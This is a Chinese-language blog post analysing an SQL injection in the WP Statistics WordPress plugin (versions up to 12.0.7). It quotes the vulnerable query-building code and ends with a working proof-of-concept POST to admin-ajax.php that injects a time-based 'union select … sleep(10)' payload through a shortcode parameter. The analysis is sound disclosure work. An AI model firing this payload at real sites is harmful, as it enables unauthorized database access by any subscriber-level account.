WordPress插件WP Statistics SQL注入漏洞分析

# 文章在7月16号首发threathunter社区,自己博客存个档。

​ WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。WordPress具有插件架构和模板系统。WP Statistics是一个功能非常强大的WordPress实时统计分析插件,根据WordPress.org的统计数据,超过30万站点使用了该插件。近日,WP Statistics发布了WP Statistics 12.0.8,主要修复了一个SQL注入漏洞,漏洞影响WP Statistics <= 12.0.7,本文简单分析该漏洞。

漏洞位于/includes/functions/functions.php中的wp_statistics_searchengine_query()

function wp_statistics_searchengine_query( $search_engine = 'all' ) {
    GLOBAL $WP_Statistics;

    // Get a complete list of search engines
    $searchengine_list = wp_statistics_searchengine_list();
    $search_query      = '';

    if ( $WP_Statistics->get_option( 'search_converted' ) ) {
        // Are we getting results for all search engines or a specific one?
        if ( strtolower( $search_engine ) == 'all' ) {
            // For all of them?  Ok, look through the search engine list and create a SQL query string to get them all from the database.
            foreach ( $searchengine_list as $key => $se ) {
                $search_query .= "`engine` = '{$key}' OR ";
            }

            // Trim off the last ' OR ' for the loop above.
            $search_query = substr( $search_query, 0, strlen( $search_query ) - 4 );
        } else {
            $search_query .= "`engine` = '{$search_engine}'";
        }
    } 
  ……代码略
    return $search_query;
}

其中代码$search_query .= "`engine` = '{$search_engine}'"直接拼接了$search_engine变量。接着在/includes/functions/functions.php中wp_statistics_searchengine()调用了wp_statistics_searchengine_query():

function wp_statistics_searchengine( $search_engine = 'all', $time = 'total' ) {

    global $wpdb, $WP_Statistics;

    // Determine if we're using the old or new method of storing search engine info and build the appropriate table name.
    $tablename = $wpdb->prefix . 'statistics_';

    if ( $WP_Statistics->get_option( 'search_converted' ) ) {
        $tablename .= 'search';
    } else {
        $tablename .= 'visitor';
    }

    // Get a complete list of search engines
    $search_query = wp_statistics_searchengine_query( $search_engine );

    // This function accepts several options for time parameter, each one has a unique SQL query string.
    // They're pretty self explanatory.
    switch ( $time ) {
        case 'today':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d' )}' AND {$search_query}" );
            break;

        case 'yesterday':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -1 )}' AND {$search_query}" );

            break;

        case 'week':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -7 )}' AND {$search_query}" );

            break;

        case 'month':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -30 )}' AND {$search_query}" );

            break;

        case 'year':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', -365 )}' AND {$search_query}" );

            break;

        case 'total':
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE {$search_query}" );

            break;

        default:
            $result = $wpdb->query( "SELECT * FROM `{$tablename}` WHERE `last_counter` = '{$WP_Statistics->Current_Date( 'Y-m-d', $time)}' AND {$search_query}" );

            break;
    }

    return $result;
}

注意这句$search_query = wp_statistics_searchengine_query( $search_engine ); $search_query变量的值取自前面提到的wp_statistics_searchengine_query(),接着在switch语句下直接拼接SQL查询语句并执行,导致SQL注入。
下面看到/shortcode.php的一段代码:

1.png

WordPress 从 2.5 版本开始提供 Shortcode API,允许用户在页面中插入使用"[]"包含的“短代码”,WordPress会识别这些短代码并根据短代码的定义输出为特定的内容。WP Statistics允许用户使用Shortcode获取详细的统计数据信息。格式为:

[wpstatistics stat=xxx time=xxxx provider=xxxx format=xxxxxx id=xxx]

如调用上面的wp_statistics_searchengine()格式为:

[wpstatistics stat=searches time=total provider=xxxxx]

​ 在WordPress中,调用Shortcode API需要通过/wp-admin/admin-ajax.php调用wp_ajax_parse_media_shortcode()来完成,这也正是鸡肋之处,需要登陆才能利用该漏洞,用户权限倒是没什么要求,"订阅者"权限即可利用,即WordPress开放注册同时使用了<= 12.0.7版本的WP Statistics才受该漏洞影响,同时因为安装WP Statistics要求PHP >= 5.4.0,PHP在5.3.0弃用GPC,因此不受GPC影响:

2.png

3.png

wp_ajax_parse_media_shortcode()部分代码如下:

4.png

最后,构造POC如下:

POST /blog/wp-admin/admin-ajax.php HTTP/1.1
Host: 172.16.169.165
Content-Length: 146
Accept: */*
Origin: http://172.16.169.165
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: wp-settings-time-1=1509063602; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_dbae2bea8cec00e99e96eee9845ba3c3=test%7C1509237085%7ClNvvUMTO7HTItRlXWZwvpYvHVvGtx2UBulpxGtPxoIN%7C5947a221f381e5b55fe2823de9c9f13e0f5aaf2f49b01fdce7cd7bb77f23bc4b; wp-settings-time-2=1509064285; PHPSESSID=8pskvhhq5ek01pbfmdabaqkjc5; security=high

action=parse-media-shortcode&shortcode=[wpstatistics stat=searches time=total provider="'union select 1,2,3,4,5,6 from wp_users where sleep(10)#"]

如图:

5.png

查看mysql日志可以发现SQL语句已经执行:

6.png

标签: wordpress, sql注入

添加新评论